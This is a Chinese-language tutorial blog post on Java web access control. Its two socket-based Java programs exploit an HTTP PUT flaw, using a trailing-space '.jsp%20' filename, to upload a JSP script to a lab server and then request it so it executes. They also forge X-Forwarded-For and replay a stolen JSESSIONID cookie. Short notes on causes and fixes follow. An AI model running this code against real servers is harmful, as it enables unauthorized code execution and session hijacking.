Java -- 访问控制,伪造请求,拿cookie

news/2024/5/18 11:49:04 标签: session, cookie, java, servlet, csrf

绕过服务器限制

通过自己构造请求头的形式,绕过服务器的限制,伪造一个请求头进行身份伪造。

java">package com.mtlk.test;

import java.io.*;
import java.net.Socket;
import java.util.Scanner;

public class Put {
    public static void main(String[] args) throws IOException {
        StringBuffer body = new StringBuffer("");

//        InputStream ii = new FileInputStream("E:/123.jsp");
        //获取本地文件脚本
        InputStream ii = new FileInputStream("E:/qxx.jsp");
        Scanner ss = new Scanner(ii);
        while(ss.hasNextLine()){
            body.append(ss.nextLine());
        }
//        StringBuilder request = new StringBuilder("PUT /exam/qxx555.jsp%20 HTTP/1.1\r\n");
        //设置请求体
        StringBuilder request = new StringBuilder("PUT /exam/qxx789.jsp%20 HTTP/1.1\r\n");
        request.append("HOST:10.0.100.10\r\n");
        request.append("X-Forwarded-For:192.168.18.51\r\n");
        request.append("User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 FireFox/78.0\r\n");
        request.append("Cookie:JSESSIONID=02C9D0FBFB03537475774E3C1A935A9C\r\n");
//        request.append("Content-Type:text/html\r\n");
//        request.append("Content-Length:"+body.toString().length()+"\r\n\r\n");
        request.append(body.toString());
        System.out.println(request.toString());

        Socket s = new Socket("10.0.100.10",8080);

        PrintWriter pw = new PrintWriter(s.getOutputStream(),true);
        pw.println(request.toString());
        pw.flush();

        InputStream is = s.getInputStream();
        Scanner sc = new Scanner(is);
        System.out.println("-------------------------------");
        while (sc.hasNextLine()){
            System.out.println(sc.nextLine());
        }

    }
}

设置请求体将允许的IP地址,和浏览器信息,甚至cookie信息填入请求体里面。

利用put漏洞上传文件,执行文件脚本内容
再利用get获取文件

java">package com.mtlk.test;

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;

public class Get {


    public static void main(String[] args) throws IOException {

        Socket s = new Socket("10.0.100.10",8080);

//            StringBuilder sb = new StringBuilder("GET /exam/qxx555.jsp HTTP/1.1\r\n");
            //获取服务器文件
            StringBuilder sb = new StringBuilder("GET /exam/qxx789.jsp HTTP/1.1\r\n");
            //设置对应请求体
            sb.append("HOST:10.0.100.10:8080\r\n");
            sb.append("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 FireFox/78.0\r\n");
            sb.append("Cookie:02C9D0FBFB03537475774E3C1A935A9C\r\n");
            sb.append("X-Forwarded-For:192.168.18.51\r\n");

            PrintWriter pw = new PrintWriter(s.getOutputStream());
            pw.println(sb.toString());
            pw.flush();
            
            System.out.println(sb.toString());
            System.out.println("---------------------------------------------");


        InputStream is = s.getInputStream();
        Scanner ss = new Scanner(is);
        while (ss.hasNextLine()){
            System.out.println(ss.nextLine());
        }
    }
}

成因及解决方法

身份伪造

原因

基于session:拿到别人的cookie,然后填充到自己的请求头里面

基于cookie: 把身份信息记录于cookie

解决办法

检查session的过期,不能将用户关键信息存放于cookie

把前一个账户踢下线,检查常用IP地址归属地

身份认证失败

原因

没有对Session进行验证,登录后没有填充Session

解决办法

检查登陆后session是否被填充,session是否有验证

在没有登录的情况下访问功能页面并提交请求


http://www.niftyadmin.cn/n/1829387.html

相关文章

struts2拾遗

1.result节点 <result name"" type""></result> name:action方法的返回值对应 type:常用的四种 >dispatcher&#xff1a;默认值&#xff0c;转发&#xff0c;同servlet中的转发 >redirect&#xff1a;重定向&#xff0c;同servlet中的重…

Java -- SQL注入

为什么会产生SQL注入问题 举一个简单的SQL注入攻击的例子&#xff1a; 假如我们有一个users表&#xff0c;里面有两个字段username和password。在我们的java代码中我们初学者都习惯用sql拼接的方式进行用户验证。 比如&#xff1a;” select id from users where username ‘…

Java --XSS攻击原理及防御

xss 攻击过程 跨站脚本攻击(Cross Site Scripting)&#xff0c; 恶意攻击者往Web页面里插入恶意Script代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中Web里面的Script代码会被执行&#xff0c;从而达到恶意攻击用户的特殊目的。 xss 的危害 XSS攻击的危害 这些危害…

性能测试持续集成(Jenkins+Ant+Jmeter)

一、环境准备&#xff1a; 1、JDK&#xff1a;http://www.oracle.com/technetwork/java/javase/downloads/index.html 2、Jmeter&#xff1a;http://jmeter.apache.org/download_jmeter.cgi 3、Ant&#xff1a;http://ant.apache.org/bindownload.cgi 4、tomcat&#xff1a;htt…

MIP 与 AMP 合作进展(3月7日)

“到目前为止&#xff0c;全网通过 MIP 校验的网页已超10亿。除了代码和缓存&#xff0c; MIP 还想做更多来改善用户体验移动页面。” 3月7日&#xff0c;MIP 项目负责人在首次 AMP CONF 上发言。 那么 MIP 和 AMP 的关系是什么呢&#xff1f; AMP 是一个开源性项目&#xff0c…

Android优化——UI优化(三)使用ViewStub延迟加载

使用ViewStub延迟加载 1.ViewStub延迟加载 ViewStub是一个不可见的&#xff0c;大小为0的View&#xff0c;最佳用途就是实现View的延迟加载&#xff0c;在需要的时候再加载View&#xff0c;可Java中常见的性能优化方法延迟加载一样。 当调用ViewStub的setVisibility函数设置为…

[转]个人源码管理:如何在本机配置自己的SVN Repository (图解)

本文转自&#xff1a;http://blog.csdn.net/wikijava/article/details/6245588 Repository 即源码的集中存放处&#xff0c;所有修改后提交的源码就是保存在这里&#xff0c;并在其中记录所有的修改版本&#xff0c;分支版本&#xff0c;版本合并&#xff0c;以及并发修改处理等…

eclipse 远程文件实时同步,eclipse远程部署插件

[转自] http://zhwj184.iteye.com/blog/1842730 eclipse 远程文件实时同步&#xff0c;eclipse远程部署插件 github地址&#xff1a;https://github.com/zhwj184/remotedeploy 在开发过程中经常修改一些文件及时部署到测试环境中&#xff0c;比如apache静态资源文件&#xff0c…